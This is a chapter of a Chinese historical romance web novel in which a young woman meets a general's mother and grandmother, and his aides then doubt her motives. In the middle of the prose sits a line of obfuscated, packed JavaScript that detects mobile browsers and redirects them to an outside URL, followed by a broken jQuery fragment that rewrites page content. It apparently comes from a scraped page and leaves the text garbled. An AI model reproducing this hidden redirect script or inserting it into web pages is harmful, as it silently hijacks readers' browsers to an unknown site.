许是满心都想着该如何应付一会儿的场面,自打进府,她倒还没好好瞧瞧这座深藏功与名的翊国将军府,等她反应过来时,自己已被宁淮川引着到了前院。
青灰色院墙高高耸着,仿佛与此刻乌暗的天色相接,更显得府内庄严,赵宸玉忽觉有些透不过气。左右院墙下分别种了一小片竹林,微风拂过,密林发出飒飒的几声,竹林前整整齐齐站着两排遍身绫罗的侍女,宁淮川一走近,侍女们齐声便道“奴婢见过将军”。
宁淮川只一点头,再没旁的表示,严冷地叫赵宸玉有些陌生。但转念一想,毕竟外界评价也从未将他放到过温润可亲那个行列里头,自己最初见他时,他也是这般严肃来着,只不过......
现在不一样罢了。
想到这儿,她原还紧绷的神经倏地轻松不少。走起路的身姿也从刚才的小心翼翼变成了落落大方。
须臾间,她已随着他进了前厅,厅上左右首位各端坐着一位长辈,一位是个满头白发,慈眉善目的老太太,另一位则是位刚至中年,脸上正挂着一副凝重神情的妇人。
方才下人来报,说宁淮川正带着个莹润如酥的俊俏女子过来,本还满脸喜色的定远侯夫人,心头顿时生出种不安。
宁淮川这个母亲,是出了名的急性子,一听往日见到女子都唯恐避之不及的儿子竟突然带回个女子,还道是他遇上了什么勾人魂儿的狐狸精,急得她满地打转,还是老太太叫她稳重些,她才心神不宁地坐回椅子。
宁淮川刚进前厅,便提起衣摆往地上一跪,磕过一个头才道:“川儿见过祖母,母亲。川儿不在,祖母母亲身体可还安好?”
“诶呦快起来快起来,行这么大的礼做什么?”座上祖母一见孙儿高兴地直冲他招手。
另一个声音却道:“你个小孽障,怎的去了这么久,过年都不知道回来。”
宁淮川一边起身,一边哭笑不得地去哄:“母亲,我在信中不都解释过了么,实在是事出有因,今年没能陪您老人家过年,明年一定补给您。”
说罢,他眼神又移到跟在自己身后的赵宸玉身上。赵宸玉等他行过礼,自己便也准备往那儿一跪,给上首两位长辈请安。
谁料手上刚捏上裙摆,便被宁淮川一把拦住。
他像是在忍笑,轻声道:“你行这么大礼做什么?”
依大郯礼法,叩拜之礼只在隆重礼节或是行孝礼才用,若是客人与主人只间,行拱手礼即可。
赵宸玉忽地明白刚刚他那笑意是为何,她面颊一红,却轻轻拨了拨他扼住自己腕骨的手,仍是庄重地朝座上两人跪了下去。
宁淮川见拦不住,便也没再去管,座上二位倒是有些诧异地对视一眼。
“民女赵宸玉,叩见侯夫人,老太太。”
座上祖母慈爱地笑笑,道:“你是谁家的闺女,快快起来,不用行这么大的礼。”
赵宸玉不动,回道:“民女出身苏州赵氏,早先在云州遇险,承蒙将军大恩才捡回一条命,将军待我恩重如山,民女无以为报,所以今日见到侯夫人,老太太,是一定要磕这个头的。”
宁淮川本就不喜欢这些跪来跪去的礼节,见她已行过礼,一把将她拉了起来。
听过赵宸玉这话,宁母才忽地想起了什么,起身往她身边走了几步,问:“你就是川儿信里提过的那个姑娘?”
宁淮川什么时候写过信赵宸玉自然不知,于是忙接话:“是啊母亲,我正要给您和祖母介绍来着。”
宁母忽然脸色大变,换上了一个‘总算放心了’的表情。
她既是热情,又是心疼地抓住了赵宸玉的手,道:“原来就是你呀,白白吓我一跳,诶哟,你家的事我听说了,真是个苦命的姑娘。”
罢了还又剜了宁淮川一眼:“你带赵姑娘回京,怎么也不来信说一声儿,我还当她要留在云州,硬是没敢往她那儿想。”
宁淮川写那封家书时,云州才刚出事,写信不过是说回京的日子要晚一些,那时他对她还没有什么非分之想,后来决定要带她回京时,又觉得特意写信说这事儿,太过刻意,便也没说。
被母亲一问,宁淮川带着几分羞涩地讪笑起来。
宁母也没再追问,竟亲昵地拉起赵宸玉,围着她转了一圈,恨不能将她里里外外从上到下全看个遍,然后又赞道:“模样生的真俊......”
这般举动,别说赵宸玉一时愣怔着不敢妄动,就连宁淮川也差点急晕了过去,他忙上前将母亲拽到自己一边,嘴里模模糊糊地道:“娘你老毛病又犯了是不是?人家是我请来的客人,你别拿选儿媳的眼神儿看人家行不行?”
宁母这才干笑了几声,在他耳边小声道:“你又不是不知道娘,看见年轻俊美的女娘就走不动道,这还不是怪你不争气,老大不小的也没娶个媳妇回来,否则娘至于这样?”
两人虽是压着声音说,在场的人却没一个听不清的,赵宸玉更是尴尬,抿着唇将脸往深埋了一点。
这时,上座的老人家忽然开口:“姑娘,你过来。”
宁淮川母子二人闻声才双双将目光转过来,赵宸玉也是一愣,轻飘飘地往老人家身边踱了几步。
宁淮川祖母出身河东林氏,与宁家一样同是将门世家,老太太年轻时随着宁淮川祖父上过战场,立过军功,曾是大郯第一女将,就是当今圣上也得给几分薄面。
只见她伸出手,也是将赵宸玉一双白嫩的手放进手心,仔仔细细地端详了她好一阵儿。
宁淮川:“......”
今天都是怎么了?怎连祖母也这般......不稳重。
赵宸玉稍显难为情,又觉老太太此举有些怪异,便问:“老太太,您想说什么?”
只见她只是摇摇头,依旧一脸慈爱,道:“没什么,没什么。”
又道:“既然川儿叫你住下,那你就尽管住在这里,就当自己家一样。”
赵宸玉感激地笑道:“多谢老太太。”
“不用这么生分,你也叫我祖母就好。”
宁淮川:“......”
宁淮川是知道家人什么性子的,但原先也只觉得他们充其量只会出于同情叫她留下,万没想到,这两人的反应比他预想的诡异得多。一个理所当然地以为多了个儿媳候选,一个更是直接跳到了改口环节,这要把人吓跑了可怎么办?
宁淮川头皮一阵发麻,忙从祖母手里扯过赵宸玉,找了个借口道:“祖母,天色不早了,我先安顿赵姑娘住在熙园,得空了再带她来陪你们说话。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259016|166512||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“好好好,你带她先去安顿,记得多差几个下人去伺候着。”
“知道了祖母。”
拜别长辈,赵宸玉被他拉着出了前院,又左拐右拐地沿着回廊走了好一阵儿。今日的古怪事儿着实叫她云里雾里,若说宁淮川带她回府是因为对她有意,宁母见她欢喜是焦心儿子的婚事,但老太太这般又是为何?
她现在不过是顶着个商人之女的名头,自认没那么大魅力能老少通吃,但她思来想去也没想出个所以然。
一路上她都闷闷的没再说话,还是宁淮川先开口。
“今日家里人太过唐突,你别介意。”
赵宸玉抬眼看他,只见他脸上满是不自在。
她道:“将军多心了,我不觉得唐突,反而是她们待我太好,像做梦似的。”
宁淮川应道:“我不是跟你说过,她们很好相处的。”
“嗯。”
这次,赵宸玉真的信了这话,但心里却更加没底。按照她原本的计划,初到京城,是要先站稳脚跟,等个好时机再让宁淮川纳自己入府,随便给个名分,随便给个院子就好,至于他家人,则是能躲便躲,省得再分出那么多精力应付她们。
眼下,计划忽然变得顺利许多,反叫她猝不及防。
不多时,宁淮川已带着她到了那个叫熙园的院子,只见院里已经挂起灯,照得屋内屋外亮堂堂的,十来个女使正忙着洒扫,还有几个仆役一箱箱地往屋里抬着什么东西。
院里用青石板铺了几条弯弯曲曲的小路,沿途布置了两处荷塘,三处花圃,栽种的全是些名贵草木,荷塘后面还有座雕得精致的假山,山腰处松柏成荫,流觞曲水,别有风韵。
赵宸玉一看便知,这处院子定是府里闲置院子里最好的那处。
谢大成和魏安一起跟在他们身后,满脸狐疑。
他道:“头儿是中什么邪了,怎么能带个来历不明的女子回来。”
魏安:“谁说来历不明了,我们都派人查过,人家是正儿八经的苏州姑娘,是遭了难才被头儿救回来的。”
谢大成不以为意地撇撇嘴,他没亲自查过,就是来历不明。
“但你不觉得她很奇怪吗?”
“什么奇怪?”
“咱们这儿是哪儿?堂堂翊国将军府!她一个乡下野丫头,第一次来京城,第一次见这么好的宅院,这反应也太平常了些吧?”
“这个......”魏安一时吃不准,道,“许是人家就是面上端庄,怕失了礼数呗,再怎么说也是大户人家出来的,还能没这点分寸?”
谢大成还是没能打消疑虑,又道:“反正我总觉得不对劲,肯定是个想攀高枝的,头儿可别她给骗了。”
魏安苦笑一声:“你现在说这个恐怕已经晚了,你家头儿这会儿巴不得被骗呢。”
谢大成听罢,双拳不由地收紧:“看来,我可要好好盯紧她了,我就不信她露不出马脚!”
魏安脸上却是另一番愁云:“大祸临头你还有闲心盯她?有那功夫不如给头儿想想办法......”
谢大成顿时惊道:“什么大祸临头?”
魏安朝他递了个‘难以言说’的眼神:“还能是什么。”
“你是说,华阳公主?”